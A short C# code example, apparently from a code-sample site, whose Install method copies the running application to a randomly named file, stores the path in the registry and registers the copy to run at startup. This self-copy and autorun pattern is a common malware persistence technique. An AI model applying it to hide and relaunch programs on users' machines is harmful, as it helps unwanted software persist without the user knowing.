예제 #1
0
        public string Install()
        {
            var fileName       = _fileService.GenerateRandomFileName();
            var targetFilePath = Path.Combine(RootPath, fileName);

            _registry.Add(FilePathLocationRegistry, FilePathLocationRegistryKey, targetFilePath);
            _fileService.Copy(_environment.ApplicationPath, targetFilePath);
            _registry.AddFileToStartupRegistry(targetFilePath);

            return(targetFilePath);
        }